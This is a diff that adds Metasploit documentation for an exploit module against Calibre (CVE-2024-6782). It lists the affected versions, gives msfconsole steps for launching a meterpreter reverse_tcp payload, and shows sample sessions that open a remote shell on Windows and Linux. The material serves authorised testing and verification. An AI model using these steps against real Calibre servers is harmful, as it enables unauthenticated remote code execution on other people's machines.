|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +**Vulnerability Description** |
| 4 | + |
| 5 | +This module exploits a vulnerability in Calibre <= v6.9.0 - v7.14.0 (CVE-2024-6782). |
| 6 | + |
| 7 | +An unauthenticated remote attacker can exploit this vulnerability to gain arbitrary code execution in the context of which Calibre is being |
| 8 | +executed. |
| 9 | + |
| 10 | +All versions between v6.9.0 - v7.14.0 are affected. STAR Labs published [an advisory](https://starlabs.sg/advisories/24/24-6782/) that |
| 11 | +includes the root cause analysis and a proof-of-concept. |
| 12 | + |
| 13 | +**Vulnerable Application Installation** |
| 14 | + |
| 15 | +Calibre can be downloaded from [here](https://download.calibre-ebook.com/). |
| 16 | + |
| 17 | +**Successfully tested on** |
| 18 | + |
| 19 | +Windows: |
| 20 | +- Calibre v7.14 on Windows 10 22H2 |
| 21 | +- Calibre v7.0 on Windows 10 22H2 |
| 22 | +- Calibre v6.29 on Windows 10 22H2 |
| 23 | +- Calibre v6.9 on Windows 10 22H2 |
| 24 | + |
| 25 | +Linux: |
| 26 | +- Calibre v7.14 on Ubuntu 24.04 LTS |
| 27 | +- Calibre v7.0 on Ubuntu 24.04 LTS |
| 28 | +- Calibre v6.29 on Ubuntu 24.04 LTS |
| 29 | +- Calibre v6.9 on Ubuntu 24.04 LTS |
| 30 | + |
| 31 | +## Verification Steps |
| 32 | + |
| 33 | +1. Install Calibre |
| 34 | +2. Start Calibre and click Connect/share > Start Content server |
| 35 | +3. Start `msfconsole` and run the following commands: |
| 36 | + |
| 37 | +``` |
| 38 | +msf6 > use exploit/multi/misc/calibre_exec |
| 39 | +[*] Using configured payload cmd/windows/http/x64/meterpreter/reverse_tcp |
| 40 | +msf6 exploit(multi/misc/calibre_exec) > set RHOSTS <IP> |
| 41 | +msf6 exploit(multi/misc/calibre_exec) > set LHOST <IP> |
| 42 | +msf6 exploit(multi/misc/calibre_exec) > exploit |
| 43 | +``` |
| 44 | + |
| 45 | +You should get a meterpreter session running in the same context as the Calibre application. |
| 46 | + |
| 47 | +## Scenarios |
| 48 | + |
| 49 | +**Windows** |
| 50 | + |
| 51 | +Running the exploit against Calibre v7.14 on Windows 10 22H2, using curl as a fetch command, should result in an output similar to the |
| 52 | +following: |
| 53 | + |
| 54 | +``` |
| 55 | +msf6 exploit(multi/misc/calibre_exec) > exploit |
| 56 | +
|
| 57 | +[*] Started reverse TCP handler on 192.168.137.190:4444 |
| 58 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 59 | +[+] The target appears to be vulnerable. |
| 60 | +[*] Sending payload... |
| 61 | +[*] Sending stage (201798 bytes) to 192.168.137.194 |
| 62 | +[*] Meterpreter session 1 opened (192.168.137.190:4444 -> 192.168.137.194:50346) at 2024-08-01 23:28:16 -0400 |
| 63 | +[*] Exploit finished, check thy shell. |
| 64 | +
|
| 65 | +meterpreter > sysinfo |
| 66 | +Computer : DESKTOP-foo |
| 67 | +OS : Windows 10 (10.0 Build 19045). |
| 68 | +Architecture : x64 |
| 69 | +System Language : en_US |
| 70 | +Domain : WORKGROUP |
| 71 | +Logged On Users : 2 |
| 72 | +Meterpreter : x64/windows |
| 73 | +
|
| 74 | +meterpreter > shell |
| 75 | +Process 6084 created. |
| 76 | +Channel 1 created. |
| 77 | +Microsoft Windows [Version 10.0.19045.4529] |
| 78 | +(c) Microsoft Corporation. All rights reserved. |
| 79 | +
|
| 80 | +C:\Program Files\Calibre2>whoami |
| 81 | +whoami |
| 82 | +desktop-foo\admin |
| 83 | +``` |
| 84 | + |
| 85 | +**Linux** |
| 86 | + |
| 87 | +Running the exploit against Calibre v7.14 on Ubuntu 24.04 LTS, using cmd/unix/python/meterpreter/reverse_tcp as a payload, should result in |
| 88 | +an output similar to the following: |
| 89 | + |
| 90 | +``` |
| 91 | +msf6 exploit(multi/misc/calibre_exec) > exploit |
| 92 | +
|
| 93 | +[ *] Started reverse TCP handler on 192.168.137.190:4444 |
| 94 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 95 | +[+] The target appears to be vulnerable. |
| 96 | +[*] Sending payload... |
| 97 | +[*] Sending stage (24772 bytes) to 192.168.137.195 |
| 98 | +[*] Meterpreter session 2 opened (192.168.137.190:4444 -> 192.168.137.195:52376) at 2024-08-01 23:40:16 -0400 |
| 99 | +
|
| 100 | +meterpreter > sysinfo |
| 101 | +Computer : asdfvm |
| 102 | +OS : Linux 6.8.0-39-generic #39-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 5 21:49:14 UTC 2024 |
| 103 | +Architecture : x64 |
| 104 | +System Language : en_US |
| 105 | +Meterpreter : python/linux |
| 106 | +``` |
0 commit comments